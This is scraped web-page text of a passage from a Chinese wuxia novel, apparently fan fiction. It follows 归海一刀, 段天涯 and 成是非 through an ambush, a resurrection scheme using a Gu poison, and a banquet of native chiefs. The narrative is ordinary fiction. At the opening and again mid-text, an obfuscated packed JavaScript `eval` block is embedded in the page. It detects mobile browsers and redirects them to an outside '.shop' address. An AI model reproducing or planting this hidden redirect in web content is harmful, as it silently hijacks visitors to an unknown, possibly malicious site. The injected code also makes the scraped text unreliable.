;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292468|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜托同村奶奶为她洗漱更衣,喂食米粥药汤,却没有任何起色。一连三日,气息微弱,原以为撑不过去,没想到第四天,她竟逐渐转醒。 “姑娘,你可醒了,再不醒,我们真怕你熬不过来!” “你是谁?” 长时间的昏睡令她四肢僵硬,头痛欲裂,下意识地用手遮挡窗外直射阳光,但一瞬间,她又强逼自己清醒过来,谨慎地与人拉开距离。 “这是哪里?” “你不用害怕!我叫阿凉,是一个采药郎,这是我家。三天前,我上山采药,见你昏倒在雪川边上,把你救回来。” “多谢……” “姑娘你叫什么名字?” “归海一刀……”不假思索地脱口而出,她也不知道自己怎么会说出这四个字,醒来之后,脑子一片空白,唯独这四个字,像是牢牢印在脑海中,挥之不去。 “归海一刀?女孩子怎么叫这个名字?汉人的名字可真是奇怪!” “你是……” “我是苗人。姑娘,你应该是汉人吧?” “你怎么知道我是汉人?” “感觉吧,我看姑娘这么文静,不像我们苗人女子野性泼辣,而且,我救你时,你穿的衣服应该也是汉人服饰。姑娘,你为什么会掉下雪川?” “我……我不知道……” “唉——这几年,中原有许多商人来滇南经商,但路途不太平,经常遇上山匪打劫,雪川又靠近官道,所以时不时有人漂流下来,但是其他人就没你运气好,能够活下来。唉!可惜雪川那么美丽圣洁的河流,现在竟然动不动飘着死尸!” 短短两句话,连叹两声,她看着眼前采药郎黝黑脸上拧在一起的眉头,不禁一笑,心想这位名叫阿凉的小伙子不仅善良,还多愁善感,会为一条河流惋惜。 “姑娘,你家住哪里?” “我家……我想不起来……” “那你家里还有什么人?怎么联系他们?” “……对不起……我真的想不起来……” 阿凉看见白衣女子痛苦地捂着头,急忙改口劝道: “好吧好吧,想不起来就不想了!你刚经历大难,记忆混乱很正常。你在这里多休息两天,过两天,我去石溪镇上卖药,帮你问问消息。” “石溪镇?” “对,石溪镇是这儿方圆百里最大的城镇,这几年商旅兴旺,那里又是官道枢纽,很多汉人在那儿定居,如果你的家人还在,一定也在找你,去那儿应该能够得到消息。” “真的吗?那就多谢你了!” 醒来之后,这是第一句让她感到安心的话。她不禁喜上心头,又十分感激,想也不想地捉住阿凉的手。昏睡太久,她的手依然冰冷无力,但十分柔软,阿凉感觉到她的手,因为激动而微微发抖,迎上她的目光,觉得她的眼睛像夏夜里的星辰般明亮璀璨,笑容像三月里的阳光温暖明媚。阿凉心中生出一种从未有过的感觉,只觉得眼前的女子就像是玉龙山上的雪莲,洁白纯净,值得为她付出一切。 “你放心,我一定会全力帮你!” 5. 苗疆风雨楼 江南常晴谷 再将时间回溯。 自那日,在江陵取得汗血宝马之后,归海一刀带着雨儿继续往滇南行进。因为雨儿心急回家,一刀就带着她翻越巫山捷径。可山间多雨,道路险峻,雨儿脚程不快,一刀只好把汗血宝马让给她骑,自己步行,为她挽缰牵马。一连数日,他们跋涉山间,雨儿乘马倒还无恙,只是难为一刀不仅要忍受泥泞湿滑的山路,还要不时费心看护身后之人。雨儿为此甚感内疚,可无奈一刀一言不发,她也寻不着由头与他搭话,只能默默看着一刀如岩山般的高大背影,心中既是感激,又别有一种异样滋味。 十日后,二人走出巫山,再过一个月,又穿过四川,进入滇南境内。 滇南,是一处神秘之地。若依史书所载,殷周时期,此地被称为“百濮之国”;战国时,楚国大将庄蹻率兵入驻滇池,始建滇国;西汉武帝时期,开西南夷,滇王降,设益州郡;唐武德四年,置姚州管羁縻州三十二,至此滇南疆域大致划定,沿袭至今。太祖时,滇南土司率众归降,设州府,开互市,商旅兴旺,中原人士逐渐乔迁于此。话虽如此,滇南却也只占大明疆域西南一隅,百年来,朝廷对此不闻不问,几乎等同于游离在外,对其风土人情也无过多记载,饶是作为大内密探,见多识广,归海一刀也得承认,他对此地不甚了解,只能依照卷宗记载拼凑大致印象。据说滇南山川险峻,花木繁盛,民风彪悍,男儿尚武勇猛,女子野性泼辣,不屑中原礼教,虽然近些年中原汉人不断来此定居,但其间风俗差异不断未能调解,反而屡生冲突,渐有分裂之势。 不过,百闻不如一见,对于此刻的归海一刀来说,他不管民风差异,也不问险峻山川,只感慨这怪异的天气。不同江南水乡的烟雨朦胧,滇南气候多变,若说寒冷,刚过三月,头顶太阳毒辣辣照着,晒得人皮肤生疼;若说炎热,风儿迎面吹来,寒意阵阵,抬头远望,远山之上,白雪皑皑,当真是…… “一山有四季,十里不同天。” “上官公子真是厉害,不仅武功了得,还懂诗词歌赋。” 许是因为回到阔别已久的家乡,雨儿一改之前谨小慎微,开始主动与一刀搭话,眼中也多了几分光亮。 “这只是俗语,而且我并不懂,是一个人教我的。” 这些日子,一刀似乎很爱吟诗,吟的皆是海棠教过的诗词,模仿的也是她的模样。海棠最爱山水诗词,或许源于她骨子里的江湖侠情。一年来,一刀每每拜访名山大川,眼见山河壮丽,总是不禁想象海棠白衣翩翩,纸扇轻摇,诗词雅句信手拈来的模样,也忍不住学上几分,若是日子再久一些,他恐怕真要变成“上官海”。 “那这个人一定对上官公子十分重要,请问她人在哪里?” 不经意一问,却令一刀嘴角的笑意瞬间凝固,他恢复以往的冰冷。 “管好你自己就行!” “对不起!我……” “前面有个茶亭,在那儿休息一下再走。” 一刀将马儿在茶亭外拴好,径直寻一张空桌坐下,将宝刀一摆,冷冷道: “一壶热茶,一盘茶点,赶快!” 雨儿扁嘴下马,跟在一刀身后,也默默坐下。 很快,两只茶碗被摆上桌,一壶香茗倾注碗中,其颜色澄净,香气扑鼻,倒也能够缓解旅途疲劳。 雨儿心知自己刚才说错了话,想要道歉,又不知如何开口,便捧起茶碗递给一刀,他却不接,只盯着茶碗和雨儿的手看,雨儿只好将茶碗放在他面前,捧起自己面前的茶碗,以掩饰尴尬,却不料茶碗未及唇边,竟被一刀伸手按下。 “不要喝!” 一瞬间,原本笑容可掬的茶亭老板和同在亭内的几桌客人迅速拔出藏在桌下的刀具。一刀霍然起身,将雨儿护在身后,横刀胸前。 “若是老板嫌茶钱少了,大可直说;若是拦路劫财的生意,我奉劝各位就此打住!” 短短一句话,却威势十足,震慑人心。只是眼前几人不知是财迷心窍还是其他原因,竟不为所动,一齐挥刀砍了过来。 一年前,一刀在海棠坟前立誓,不再乱开杀戒。于是,一刀后退一步,右袖一扬,劲风骤起。那几人忽觉热浪扑面,触体如炙,不由得攻势稍缓。紧接着,只听一阵断金戛玉之声,回过神来,几人的兵刃已被削断。 “快走!” 一刀虽胜,但预防有变,当即拖着雨儿奔出茶亭。他先将雨儿托上马背,解开缰绳正欲上马,突然背后一枚梅花镖袭来。一刀伸指一弹,他内力刚猛,对付一枚小小飞镖自然不在话下,岂料这梅花镖另有机关,在受力的一瞬间,裂作两半,其中一半飞向雨儿面门,好在一刀及时出手钳住,可另一枚则斜掠倒飞,擦过马臀。马儿吃痛发狂,扬蹄一啸,奔入官道两侧密林。 一刀正想去追,却不料一枝利箭擦着耳畔呼啸而过,回头一看,方才被斩断兵刃的几人正对着一刀张弓搭箭。 归海一刀终于不耐烦!虽然立誓不再乱开杀戒,但归海一刀也不是任人宰割的性子。他眼神一冷,缓缓举起汗血宝刀,利箭未发,宝刀已然出鞘,寒光一闪,紧接着一片哀嚎,数条断臂同时落地,几人倒在血泊之中挣扎痛呼,他们并未咽气,若有余力起身止血,或许能捡回一条小命,只是后半生再也不能摆弄刀剑。 一刀转身追入密林。一进林中,刚才头顶毒辣的阳光像是被吞没一般,林间草木繁盛,遮天蔽日,遍布毒瘴,一刀运气屏息,施展轻功,踏草木而飞,当真是快如奔马,只是他追出好几里路,仍不见雨儿踪影。 一刀不得不停下来,他已进入密林深处,四周幽暗无光,静谧无声,唯有阴风阵阵,吹得人头皮发麻,一刀下意识地握紧手中宝刀。虽说汗血宝马速度极快,可一刀轻功不差,而且不过转眼功夫,怎么可能跑得不见踪影?唯一解释…… “鄙人初来乍到,误闯宝地,若有得罪,阁下大可拿我是问,何必为难女子?” 浑厚的声音在林间回响,明明四周空无一人,但一刀知道,此刻必定有人在暗中监视。 “哈哈哈,归海大侠说笑了!”幽暗深处,传出一阵女声,这声音清丽婉转,只是透着深深寒意,“素闻护龙山庄大内密探武功高强,地字第一号归海一刀更是刀法卓绝,天下第一,苗人尚武,想要讨教一番。唯恐大侠不应,这才请走你的同伴,大侠若想要人,便来临州临仙阁。” 临州临仙阁,风雨楼,魔教。 一刀在脑中回忆有关魔教的情报,魔教乃滇南第一大帮,势力之盛,不容小觑,据说其总坛便设在大理苍山之中风雨楼,而临仙阁,就是其在临州一处分舵。 “风雨楼……” 一刀心中反复思量,此番行程,起因不过一点侠义之心,一路上行事低调,为何一到滇南,就惹上魔教?风雨楼,难道正是预兆此行山雨欲来风满楼之意? 江南云梦泽,常晴谷,是春梦了无痕之居所。江南多雨,水系复杂,除去长江不说,其大小支流湖泊纵横交汇,形成广袤的云梦水系。说起“云梦”二字,最先见于《国语·楚策》,“于是楚王游于云梦,结驷千乘,旌旗蔽天”,可见其广阔,再加上江南阴雨气候,水域之上,常有云雾弥漫,诡秘莫测,诗曰:“气吞云梦泽,波撼岳阳城”,又显其烟波浩渺之势,此等神秘水域,最适合用作世外高人隐居之所。 泛舟湖上,穿过重重迷障,九曲通幽之后,便见一江心岛,岛上青山连绵,花木掩映,可谓美景;亭台楼阁,雕梁画栋,可见匠心。天涯立于舟上,回望来路,烟障重叠,云雾缭绕,再有谷中如梦美景,便映衬“云梦”之说。但,既在云梦之中,何来常晴一说?入谷已有半日,谷中阴雨连绵,空中始终弥漫浓密水汽,沾湿衣裳与头发,漂浮的水珠化为雾,如薄纱半遮半掩迷蒙眼前一切,饶是段天涯这般以剑为生的刚强男儿,都感觉似乎要化在这片水乡之中。 “东边日出西边雨,道是无晴却有晴。”不知何时,无痕公子已在身后,一袭白衣,如迷雾一般向他缓缓踱来,“段少侠一定在想,如此阴雨连绵之所,为何唤作‘常晴’?” “这……” “但闻风雨来,便道是无晴。未免有些武断,不是吗?” 无痕公子的话语玄而又玄,天涯实在不解,于是坦然道: “前辈乃世外高人,一字一句包含禅机妙理,天涯不该妄自揣测。” “无妨,其实海棠也曾问我这个问题,那时我只说,该明白时,自会明白。现在,也是这么说。” 无痕公子的话语看似卖弄,可若细察,他的神情中无丝毫倨傲之色,反而眼中透着淡淡的悲伤,似乎是在怀念某一位故人。以前,海棠曾数次和天涯提及她的恩师无痕公子,加上江湖传言无痕公子玉树临风、足不沾地,又精通医卜星象、奇门遁甲,将他描述成一位不食人间烟火的神仙人物。可几日相处下来,天涯对无痕公子的印象逐渐改观,虽然无痕公子的确气度高华,举手投足不同凡俗,但待人平和温柔,即使面对天涯这样的晚辈,也没有半分架子,而且他的眉宇之间似乎总有隐隐悲愁,就像这江南烟雨一般挥不去、化不散,让人不禁联想这样一位翩翩佳公子到底有着怎样的过去。 但此时的天涯已无闲心探究长辈的过往。 “有些问题,可以晚些明白,可有一些……” “你想问你的妻子飘絮与海棠之事,对吗?” “前辈说,能救海棠,唯有飘絮。请问前辈,世上真有起死回生之术?” “天外有天,人外有人,世上是否有起死回生之术,我不得而知。不过却有良药能令重伤之人残存一息,既然残存一息,便有办法能令其苏醒。” 说起身受重伤却能残存一息之人,天涯只想到成是非的母亲素心。据说素心当年中了铁胆神侯朱无视一掌,照理必死无疑,却能够保留一线生机二十年,全靠一件武林异宝…… “天香豆蔻?” “对,当年素心姑娘全身经脉尽断,都可依靠一颗天香豆蔻维持气息。海棠所受穿心一剑,自然不在话下。” “可相传千年之前,天香花枯萎,只有三颗天香豆蔻留存于世,素心姑娘已用三颗,哪里还有第四颗?” “天香花原产西域楼兰古国,西汉之时,楼兰与中原进行朝贡贸易,天香豆蔻便是贡品之一。唐时,楼兰覆灭,天香花灭绝,故而,相传世上只有三颗天香豆蔻留存。但这只是中原传说。二十年前,铁胆神侯为救素心,委托我帮他寻找天香豆蔻,为此我遍访古籍,这才查到原来在楼兰古国之中,宫廷医师会将天香豆蔻制成天香回魂丸,供王族使用,以求延年益寿。多年来,我苦苦追寻,终于在十年前,找到仅存的一颗天香回魂丸。只是那时,素心已服下一颗天香豆蔻,天香回魂丸对其并无增益,我也就没有将此事告知铁胆神侯。再后来,又装作解毒丸,骗海棠服下。” “依前辈所说,前辈一早知道铁胆神侯心怀不轨,海棠会遭受劫难,为何不出手相救?” “段少侠这就高看我了!我只是一介凡人,如何能够尽知未来?更何况……”言至于此,无痕公子语气忽转悲沉,“二十年前,我与朱无视乃是生死之交,至少……那时我将他视为挚友,否则,不会只为他一句话,便寻找天香豆蔻二十年。想当初,海棠来寻我拜师,我原本立誓此生不再收徒,可这孩子也是倔强,不声不响地在我门前跪了三天三夜,我看她如此固执,又是无视的义女,便开口给她一个机会,说她若能通过我的三项考验,就能成为我的关门弟子。其实,我只是想叫她知难而退,谁想……” 话至此处,无痕公子忽地苦笑一声,眼中悲伤流露,继续道: “海棠天资聪颖实是大出我意料之外,十分出色地通过前两项考验。我心中感慨,她如此天赋,若是早几年来寻我拜师,我定如获至宝。可……后来天意弄人,我有孽债在身,唯恐连累后人,所以在第三关我狠下心来,加重考验,打算逼退海棠。岂料那孩子倔强不退,几乎为此丧命。我将她救下之后,她对我说她是奉义父之命前来学艺,若无功而返,则无颜面对义父。我看她如此决心,最终动容,将她收为入室弟子,将我毕生技艺传授给她。这十年来,我看着海棠长大,早已将她视如己出,我心疼她命运悲惨,明白她心怀家国大义,我知道作为大内密探必然危险重重,却无法阻止她冒险,而且我身有孽债,唯恐牵连到她,为防万一,在她出师那年,我将能够保命的天香回魂丸让她悄悄服下,没想到,竟还是派上用场,还是因为……” 无痕公子已然说不下去,天涯也不禁长叹一声。多少真情付出,多少忠肝义胆,竟然沦为权势之争工具。天涯为海棠叹息,也为无痕公子叹息,世间传闻,多将无痕公子描述为清心寡性、无情无欲之人,却不想无情之人,最是重情,他会因为一句承诺,而二十年来遍访名药;也会因为朋友之义,而收海棠为徒;更会为了师徒之情,而将世上仅存的救命灵药,瞒着徒儿让其服下,只为将来或许能救她一命。只可惜,待人至诚,却不懂怀疑,一片真情,终是错付。 “可是前辈,当年素心姑娘是服下三颗天香豆蔻才治好内伤,如今海棠只服一颗,当真能治?” “这一点你不必担心。素心姑娘服用三颗天香豆蔻,是直接服用药材,药性没有提纯,在人体吸收又多有流失。可天香回魂丸是经过药性提纯,再辅以其他药石淬炼,故而药效更强。只是若要起死回生,恐怕还需一味药引……” “什么药引?”天涯急忙问道,“这药引该去哪里寻找?是否因这药引太过难寻,所以前辈才……” 天涯话说一半,但无痕公子已听出他话中之意。 “段少侠是想问,既然我早有令海棠起死回生之法,为何不早早现身相救?非得等到一年、等到海棠尸骨被盗之后才姗姗来迟?” “不,我……” 天涯不知该如何解释,无痕公子的确说出他心中的疑问。这一年来,天涯看着一刀因海棠之死而意志消沉,心痛不已,他不免心中怨对,若是无痕公子早些现身,告知救助海棠之法,一刀也不用承受这一年阴阳分隔之苦,他也能早些防备,不至于海棠的尸骨被魔教盗去。但看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292469|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在无痕公子武林前辈和海棠恩师的身份上,天涯并没有显露心中怨气。 但无痕公子还是看了出来,却并未气恼,反而歉然道: “此事确是罪责在我。其实我是在一个月前才得知海棠已死……实不相瞒,二十年前,我遭逢突变,消极厌世,立誓不再出谷,若不是海棠来此拜师,我今生怕是不会再与尘世有任何瓜葛。只不过我的四名侍女年轻好动,不耐谷中寂寞,一个多月前外出采买,于市井之中听闻铁胆神侯已死的消息,好奇之下探查,才得知海棠已……” 无痕公子这样一说,天涯倒也明白了。一年前,铁胆神侯谋反伏诛,虽然朝堂尽知,但看在他皇室近亲、先帝遗臣的身份,若将他谋反罪名昭告天下,不仅皇室蒙羞,也恐动摇民心,所以皇帝下旨宣称铁胆神侯病逝。铁胆神侯尚且如此,大内密探是皇帝座下暗卫,海棠又是女子,她的死更没有得到任何昭告追封。如果无痕公子隐居不问世事,现在才知道海棠的死讯也不足为奇。 “我得知海棠的死讯之后,即猜到会有变故,立刻派遣我的侍女赶去守护海棠的坟茔,没想到还是晚了一步……” 乍听无痕公子所言,似乎他早已料到魔教会盗海棠尸骨,可他为何对魔教如此了解? “魔教到底所图为何?为什么要针对海棠?” “南教为难海棠,其实是冲我而来……”说到这里,无痕公子又是一声哀叹,“我知道南教图谋,也大概猜到他们下一步要做什么。只是现在阻止已经太晚,所以才要仰仗你的妻子。” 言及飘絮,天涯不禁身体一怔,他望向岛上楼阁,飘絮遗体便在其间。 “海棠有了天香回魂丸可以回生,可飘絮……又该怎么办?” 事关飘絮,天涯语气比刚才又多了几分焦虑。飘絮死后,天涯并未将她下葬。飘絮死前,说过希望将她遗体送回东瀛,葬在樱花树下。故而,天涯用冰棺封存飘絮,但这一年来,却因为公务繁忙,竟抽不出身将她送回东瀛。不,这只是天涯的借口罢了! 一年前,天涯接连经历海棠之死、飘絮之死,再到看清铁胆神侯奸恶凉薄的真面目,天涯所受打击绝不亚于一刀。但天涯与一刀不同,一刀性情狂放、爱憎分明,相比之下,天涯一直以三人之中“大哥”的身份自居,故而必须更加内敛自持,无论他心中如何悲痛,都不能像一刀那样放纵狂饮、意志消沉。但终究人非草木,孰能无情? 于是,天涯选择以公务麻痹自我,他劝一刀游历江湖,取而代之的则是天涯一肩挑起护民山庄的重担,他每日只睡两个时辰,不是处理公文,就是训练密探,稍有空闲就用在陪伴朗儿和练剑上,却将飘絮的尸骨遗忘在冰窖中,从不祭拜。 因为天涯心里清楚,祭拜意味着他必须面对飘絮之死,若遵循飘絮意愿,回到东瀛下葬,他将与飘絮永别,飘絮将沉眠故土,而天涯将回到中原,回到没有义父,没有一刀,没有海棠,更没有飘絮的护民山庄。天涯已认清义父背叛,将他亲手杀死;也接受海棠之死,能够坦然祭拜,却再无余力面对飘絮的离世,只能一昧逃避。这在旁人眼中无情之举,却是源于情深。 “请问段少侠,当日你中柳生旦马守之毒,是如何解的?” “元龟气功。” “不错!我的师父生前博采武林百家之学,曾远渡东瀛,与当时的柳生家主切磋武学,留下文本记载。据师父手记所载,相传几百年前柳生一族有一位先祖,与人决斗,重伤不治,他在弥留之际让族人将他的躯体封入铜棺之中,沉落海底。所有人都以为他就此死去,却不料五十年后,这位先祖竟然破棺而出,功力倍增,而他留在铜棺内侧的文字就成了日后的元龟气功。” 这个故事实在玄妙离奇,天涯难以置信,而无痕公子也只是淡然一笑。 “上古传说,玄之又玄,有几分真假实难辨别,但元龟气功的确是东瀛柳生一族绝学,能够起沉疴、解百毒,更能护人真气心脉。元龟气功只由童男童女修炼,段夫人在为段少侠解毒之时,已然破功,但她自小修炼,根基尚在。段夫人切腹自尽,失血过多,理应气绝身亡,但我为段夫人诊脉,发现她的脉象如深谷落雪,微不可察,但确有一息尚存,想来仍有回天之法,只不过若要救醒她,则需要一味药将她体内的功力催发极致。而这味药……就是南教情蛊。” “南教……情蛊……” “苗疆蛊毒,玄妙万千,若论之最,唯有情蛊,全因其既可救人,亦可害人?” “何解?” “简单来说,情蛊最奇特的妙用在于能够将人体内的功力、药性发挥到极致。若以情蛊为引,配合补药,则能令人功力增长十年以上;可倘若人体内已有毒性,纵使毒性微弱不至死,但此时再加上情蛊,就成了催命之物。南教将情蛊视为至宝,历代教主都要借助情蛊之力修练神功。但情蛊如此神奇,自然不是易得之物,所以我需要段少侠助我一臂之力。” “请前辈吩咐!” “滇南蛊毒不同于一般毒物,必须在毒蛇毒虫幼时喂养其他毒物,喂养的毒物不同,毒性亦不相同。而情蛊特殊之处在于以人血喂养,而且必须是至亲至爱之人心头之血。”言至此处,无痕语气愈发沉重,“正所谓,情之所至,金石为开,这便是情蛊。若得挚爱之人锥心泣血为引,起死回生又有何难?可若缺了这味药引,情蛊便是毒药,只能让人生不如死。” 话至此处,天涯沉默不语,而无痕公子亦是面色凝重。 “我并非强迫段少侠,也应当对你事先言明,炼制情蛊绝不简单,我必须将蛊虫植入你的体内,让蛊虫吸食你的气血,这段过程将持续七七四十九天,痛苦无比,你只能以意志忍受痛苦,若你意志不坚,想要半途而废,我也无法将蛊虫取出,只会加剧蛊虫反噬,最终令你气衰血败而死,而段夫人也再无复生可能。” 此话,无痕说得十分认真,想来不是唬人。天涯呆立片刻,最终只是苦笑一声,道: “若天涯此刻胆怯退缩,飘絮一样无复生可能。” 人生在世,谁会没有至亲至爱之人?既为至爱,便是绝无仅有。对于柳生飘絮而言,从她选择爱上段天涯、选择违逆父亲的那一刻起,便注定为族人所不容。天下之大,柳生飘絮所能依靠的仅有段天涯,天涯亦是。 “请前辈施法!” “你当真考虑清楚?” “正是!”说罢,天涯拔出腰间胁差,直抵胸口,“天涯亏欠柳生姐妹太多,我救不了雪姬,若连飘絮都见死不救,那便枉为人夫,枉为男儿。” “好!不愧为有情有义男儿,雪姬、飘絮姐妹托付于你,也算没有所托非人。请段少侠今日好好休息,明日我将亲自施法。成功之后,我们即刻动身赶往滇南,我也不忍心让我的好徒儿海棠独自一人流落他乡。” 前路渺茫,明日之事不可知。但天涯清楚,此刻他的确抓住希望,他希望飘絮能够复生,能够再回到他、回到朗儿身边,即使以前她对自己有诸多欺瞒,即便要他为此付出生命,也在所不惜,情之所至,便是如此不讲道理。 6. 筵席腾杀气 古镇起疫灾 且将目光转回滇南丽州。 十日之期已到,各路土司应邀赶来丽州,一时间,丽州街道,车马粼粼,人声鼎沸。滇南实行土司制度已久,境内大大小小土司多不胜数,光是此次应邀前来便有二十几位,且一位比一位排场大。且看由西街而来临州土司,随行数百骑兵,重甲在身,利刃在手,列队而行,队前高举旌旗,好不威风;再看东街而来东川路土司,虽无骑兵,但车驾逾百,并驾齐驱,车轮隆隆,车上金玉为饰,好不气派。相比之下,黔国公府的车队到显得朴素许多,队伍绵延不过百人,二十骑兵在前开路,二驾马车居中,走在队伍前头的似乎是一位将军,身躯高大,气度不凡,虽无身穿盔甲,但一身虎皮戎袍威风凛凛,腰间一口玄铁宝刀更是令人生畏,队中车驾装饰淡雅,马车四角悬挂香兰流苏,雕花窗扇之后覆以银丝帘子,偶有掀开,可见车内一幅温润如玉的公子面孔。 而在街头一片树荫之下,两名女子注视着一片车马喧嚣的景象。此时烈日当空,二人额头皆已泌出细细汗珠。 “郡主啊!”小奴顾不上自己炎热,在旁一手执美人团扇扇出阵阵凉风,一手拿绣花丝帕为云萝仔细拭去额上汗珠,“天气这样热,我们已经在这里看了很久,要不要去那边的茶铺歇一歇?” “要去你自己去吧!” “郡主啊,你看了这么久,看出什么了吗?” “看出太多了!看这一队队人马车驾排场,不知道,还以为是皇族出游呢!” “对啊!像是咱们中原官员出行,车马轿子都要遵循仪制,这些土司车驾明显逾矩,怎么都没人管?” “所以说你不懂啊!这里是滇南,天高皇帝远,谁来管?谁管得了?不过这也说明两个问题。” “什么问题?” “第一,这些土司的确存有异心,否则不敢这样明目张胆违反礼制;第二,你看黔国公府车驾朴素,而其他土司却敢大摆排场,说明游大人说得不错,黔国公已经管不了这些大小土司,看来这次改土归流免不了诸多麻烦,也不知道成是非能不能应付?” “郡主放心,郡马爷武功高强,一定没事,而且,这不还有郡主您在旁出谋划策吗?郡马爷若是知道郡主为了他,一早在这儿打探,一定很感动!” “少来!谁说是为了他?我只不过……是看他遇事毛毛躁躁,又身上有伤,怕他应付不来坏事,这才提前打探!” 这不就是为了郡马爷吗?小奴腹诽,却不敢嘴上戳穿,只能强忍嘴角笑意。 “你笑什么?”眼见自己心事被看穿,云萝急得直跺脚,脸上原本因为炎热憋出的红晕又深了几分,“一会儿回去见着郡马爷你别乱说话,听见没有?” “是!” 再说宣慰司府,衙门后厅已摆好宴席,各地土司纷纷落座,却迟迟不见宣慰使游赋得与黄字密探成是非出现。 其实,此时二人正隐藏在厅后一扇屏风之后,观察着每个人。 “来得还真不少啊!游大人,你之前说的黔国公是哪一位?” “今日,黔国公并没有来。” “什么?” “如今的黔国公乃是黔国公府第四代子嗣狇英王爷,只是他年事已高,又身染重病,黔国公府大小事务乃至滇南政务,都是由另外两人代理。你看……” 游赋得手指厅内一位身着虎皮戎袍、武将模样的男人: “那是狇英王爷的弟弟,狇雄。” 游赋得又指另一侧一位青年,只见青年不过二十出头,面容俊秀,举止文雅,头梳汉人高冠,穿的也是一身素蓝宽袖汉服,稍有区别便是汉服之外,再披一件雪貂裘服,他手中纸扇轻摇,扇面并未描山绘水,反而以疾劲笔触题诗一首,成是非眼尖,又因被云萝强逼学了几首诗赋,认出乃是王维的《出塞作》。 “那是狇英王爷的独生子,黔国公府世子,狇清。” 除去黔国公府的两位人物,剩下的便是二十几位身着苗人服饰的各路土司。酒宴之上,因宣慰使迟迟不出现,各路土司早已等得不耐烦,率先吃喝起来,其中一位借着酒劲,竟拍桌而起: “等了这么久,到底来不来啊?” “对啊!摆什么臭架子?”剩下的十几位土司也跟着起哄,甚至有的将碗碟摔掷在地,大有聚众闹事架势。 眼见情势将要失控,游赋得不再躲藏,他和成是非各自整理身上官服,大步走入厅内。 “诸位大人稍安勿躁!”游赋得朗声高笑,大步迈入,他虽气质儒雅,但眉宇之间自带威严,环视一周,不卑不亢,拱手道,“公务缠身,一时来迟了,怠慢诸位大人,本官在此赔个不是!” 说罢,游赋得右手一挥,十几名侍女由侧门鱼贯而入,她们手捧木盘,盘上各盛金杯美酒。游赋得和成是非也各取一杯美酒。 “水酒一杯,权当致歉!” “哼!一杯酒就想打发人?” “酒虽然少,却也珍贵,毕竟这是皇上御赐百年龙衍香,大人觉得不好吗?” 此话一出,厅内顿时人人噤声,毕竟皇帝御赐之物,谁敢说不?原先起身出言不逊的土司,也不得不蔫蔫地坐下。 “诸位大人治理滇南多年,劳苦功高,圣上自然看在眼里!滇南乃是大明疆土,近年来与中原贸易频繁,事务杂多,圣上英明,有意为各位大人分担,设置流官,均田定税,传文授道。圣上恩宽,允诺凡献出封地者,即可保留爵位俸禄。” 游赋得声量不大,却颇具魄力。厅内诸人面面相觑,却无一人敢有异议,游赋得继续笑道: “中原有句古话,有朋自远方来,不亦说乎。诸位大人今日应邀前来,赋得在此借花献佛,以圣上御赐之酒,招待友人,饮了此杯,便是朋友。” 说罢,游赋得率先仰头饮尽美酒,其他土司见到,虽然心中各有主意,却不好拂逆,面面相觑,只能端起酒杯。 本以为行事顺利,却不想一名土司竟突然将酒杯摔在地上,随即掐着自己脖子倒在地上,挣扎抽搐。 “酒里有毒?” “竟敢下毒害人,是何居心?” 其他土司纷纷丢下酒杯,一时间厅内大乱。 “够了!”成是非一声内力浑厚的狮子吼震慑全场。游赋得见状,赶紧指挥仆人将中毒者抬下场。正厅之中,成是非叉着腰,指着闹事诸人,喝道: “你们一个个别太过分,游大人已经很给你们面子,又是赔礼,又是敬酒,还有什么不满意?谁吃饱没事干毒害你们?” “哼!谁知道你们汉人安的什么心?什么改土归流说的好听,几百年来,滇南只由土司治理,从来没有出过问题,如今说撤就撤,有道理吗?” “这位可是东川路土司?”游赋得突然发问。 “没错!” “大人说,治理从来没有问题,此话当真?” “绝无虚假!” “的确,东川路乃滇南重镇,大人掌管滇南最大银矿,每年上缴朝廷贡赋甚多,只是赋得听说东川银矿账目不甚明了,传言每年银矿开采矿石,上缴朝廷只有四成,近六成不翼而飞,可有此事?” “一派胡言!” “通州土司大人,通州地处要道,商旅往来频繁,本应尽力治理,保护商旅安全,可你竟私立关卡,苛捐杂税,还纵容手下兵丁抢劫过往商人。三个月前,成都茶商马员外一家便惨死在你境内,可有此事?” “这……是那姓马出言不逊,冒犯本官,死有余辜!” “既然死有余辜,那为何偏留女眷不杀,还纳作小妾?这样一来,世人难免误会大人是劫人钱财,掠人妻女?” “我……” “广南府土司大人,广南府毗邻暹罗,乃是我大明边陲重镇。可听闻大人与暹罗永昌王私交甚密,私自开设互市,收取往来商税,未报朝廷,如此一来,若是他日有人污蔑大人通敌叛国,只怕不好解释!” 一番言语下来,句句皆是刺中要害,原本嚣张跋扈的土司现如今个个面如死灰,噤若寒蝉。成是非见这些土司前倨后恭的模样,心中厌恶,于是开口嘲笑道: “哈!说不出话了吧?看你们还敢……” “哈哈哈——”一阵绵长浑厚的笑声打断成是非,只见原本在上座的虎袍大汉,也就是黔国公府二王爷狇雄站起身来,笑道,“游大人果然言辞犀利!只是狇雄听说,汉人治国讲求礼法,无凭无据,便来定罪,未免有违朝廷大臣的风范?” “对啊!拿出证据来!”一众土司跟着起哄。 “够了!你们做过什么自己清楚,没有的事谁能诬陷你们?游大人可是皇上钦定宣慰使,改土归流也是皇上圣旨,一个个胡搅蛮缠,是想抗旨不成?” 